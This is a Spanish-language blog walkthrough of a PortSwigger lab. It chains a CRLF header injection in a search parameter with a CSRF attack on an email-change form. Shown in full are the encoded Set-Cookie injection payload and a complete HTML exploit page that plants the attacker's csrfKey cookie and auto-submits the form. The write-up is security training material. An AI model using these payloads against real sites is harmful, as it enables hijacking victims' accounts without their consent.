Entrada

CSRF where token is tied to non-session cookie

Laboratorio de Portswigger sobre CSRF

CSRF where token is tied to non-session cookie

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio tiene una vulnerabilidad de CSRF en la funcionalidad de cambio de correo electrónico. Utiliza tokens para intentar prevenir ataques CSRF, pero no están completamente integrados en el sistema de gestión de sesiones de sitio web. Para resolver el laboratorio, debemos usar nuestro servidor de explotación para alojar un documento HTML que realice un ataque CSRF para cambiar la dirección de correo electrónico del usuario que la visualiza. Tenemos dos cuentas en la aplicación que podemos usar para diseñar nuestro ataque. Las credenciales son wiener:peter y carlos:montoya


Guía de CSRF

Antes de completar este laboratorio es recomendable leerse esta guía de CSRF https://justice-reaper.github.io/posts/CSRF-Guide/

Resolución

Al acceder a la web vemos esto

Vemos que tenemos un cuadro de búsqueda el cual nos permite hacer búsquedas

Pulsamos sobre My account y nos logueamos con las credenciales wiener:peter

Vemos que hay un botón para cambiar el email

Si recargamos la web y capturamos la petición con Burpsuite vemos que tenemos dos cookies

Si nos fijamos en la petición de cambiar email, vemos que se transmiten tres cookies de sesión y un token CSRF

Si nos dirigimos a la extensión Logger ++ de Burpsuite vemos que al hacer una búsqueda se nos setea una cookie

Vemos que podemos inyectar parámetros en las cookies

Un CRLF Injection (Carriage Return Line Feed Injection) es una vulnerabilidad que ocurre cuando un atacante puede inyectar caracteres de control CR (Carriage Return, \r) y LF (Line Feed, \n) en una aplicación web o un sistema que maneja entradas de texto. Estos caracteres son utilizados para indicar el final de una línea en muchos sistemas, como en los encabezados HTTP o archivos de texto. En Hacktricks https://book.hacktricks.wiki/en/pentesting-web/crlf-0d-0a.html y en PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection podemos encontrar varios payloads y ataques. Con este pequeño script de python podemos encodear los caracteres para que sean válidos a la hora de llevar a cabo la inyección

1
2
3
4
5
6
#!/usr/bin/python3

import urllib.parse

crlf_encoded = urllib.parse.quote("\r\n")
print(crlf_encoded)
1
2
# python crlf_encode.py
%0D%0A

Otra forma sería usando este comando de linux, lo que hace es obtener el carácter en hexadecimal con xxd -p y luego le añade el % para convertirlo en urlencode

1
2
# echo -n "\r\n" | xxd -p | sed 's/\(..\)/%\1/g'            
%0d%0a

Algunas aplicaciones vinculan el token CSRF a una cookie, pero no a la misma cookie que se utiliza para rastrear las sesiones. Esto puede ocurrir fácilmente cuando una aplicación emplea dos marcos diferentes, uno para el manejo de sesiones y otro para la protección CSRF, que no están integrados entre sí

Si el sitio web contiene algún comportamiento que permita a un atacante colocar una cookie en el navegador de la víctima, entonces es posible un ataque. El atacante puede iniciar sesión en la aplicación utilizando su propia cuenta, obtener un token válido y una cookie asociada, aprovechar el comportamiento de configuración de cookies para colocar su cookie en el navegador de la víctima y proporcionarle su token en su ataque CSRF

El comportamiento de configuración de cookies ni siquiera necesita existir dentro de la misma aplicación web que la vulnerabilidad CSRF. Cualquier otra aplicación dentro del mismo dominio DNS general puede potencialmente aprovecharse para configurar cookies en la aplicación que se está atacando, si la cookie que se controla tiene el alcance adecuado. Por ejemplo, una función de configuración de cookies en staging.demo.normal-website.com podría aprovecharse para colocar una cookie que se envíe a secure.normal-website.com. Si nos abrimos las herramientas de desarrollador de Chrome vemos las tres cookies

Si modificamos la cookie session vemos que se nos desloguea y nos asigna una nueva cookie session. Si nos fijamos bien la cookie csrfKey no se modifica

Si en /login nos abrimos el código fuente vemos que hay un token CSRF que no cambia si modificamos la cookie de sesión

Sin embargo, si modificamos la cookie csrfKey no nos desloguea, pero cambia el valor del token CSRF. Esto nos confirma que la cookie csrfKey está vinculada al token CSRF

Si inspeccionamos el código, vemos cómo se envía el formulario. Podemos usar este formulario como modelo para construir nuestro propio payload

Para explotar el CSRF tenemos usar el HTTP Header Injection para inyectar nuestra cookie csrfKey y su valor en el navegador de la víctima. También tenemos que inyectar Samesite: None, lo que hace que la cookie se envíe siempre, incluso en solicitudes de terceros. Desde 2020, los navegadores exigen que las cookies con SameSite=None estén configuradas con Secure. Si no se incluye el atributo Secure junto con SameSite=None, la cookie no se enviará en las solicitudes entre sitios web

1
2
/?search=test
\r\nSet-Cookie: csrfKey= FGTaRhyapWI49WkPXFZADJ7YALo5fvW5; SameSite= None
1
/?search=test%0D%0ASet-Cookie:%20csrfKey=%20FGTaRhyapWI49WkPXFZADJ7YALo5fvW5%3b%20SameSite=%20None

Si contamos Burpsuite Professional podemos capturar una petición y pulsar click derecho > Engagement tools > Generate CSRF PoC para que nos genere un payload

Se nos genera este payload, en la mayoría de ocasiones vamos a tener que retocarlo un poco para mejorar su desempeño o para hacerlo funcional

En mi caso prefiero construir los payloads de forma manual, para comprobar que funciona nos dirigimos al Exploit server y lo pegamos. El valor del token CSRF y el de la cookie csrfKey son nuestros, los cuales obtenemos tras loguearnos. Lo primero que hace este exploit es rellenar el formulario de cambio de email y posteriormente mediante una imagen hacemos una petición que le setea al usuario víctima nuestra csrfKey y el atributo Samesite=None, por último, como esto no es ninguna imagen va a dar un error y va a enviar el formulario

1
2
3
4
5
6
7
8
9
<html>
    <body>
        <form action="https://0a99004204a2b5f980ef26e5006b0048.web-security-academy.net/my-account/change-email" method="POST">
            <input type="hidden" name="email" value="pwned@gmail.com">
            <input type="hidden" name="csrf" value="Qi37SXlWY0LZ6Cbz1MXvvaUKgDm0CsNF">
        </form>
        <img src="https://0a99004204a2b5f980ef26e5006b0048.web-security-academy.net/?search=test%0D%0ASet-Cookie:%20csrfKey=%20FGTaRhyapWI49WkPXFZADJ7YALo5fvW5%3b%20SameSite=%20None" onerror="document.forms[0].submit();">
    </body>
</html>

Una vez hecho esto pulsamos sobre View exploit para ver si nos cambia el email a nosotros y efectivamente nos lo cambia. Independientemente de como generemos el payload, para completar el laboratorio debemos pegarlo en el Exploit server y pulsar sobre Delivery exploit to victim. Debemos tener en cuenta que dos usuarios no pueden tener el mismo email, por lo tanto, debemos cambiar nuestro email o cambiar el email en el payload que enviamos

Esta entrada está licenciada bajo CC BY 4.0 por el autor.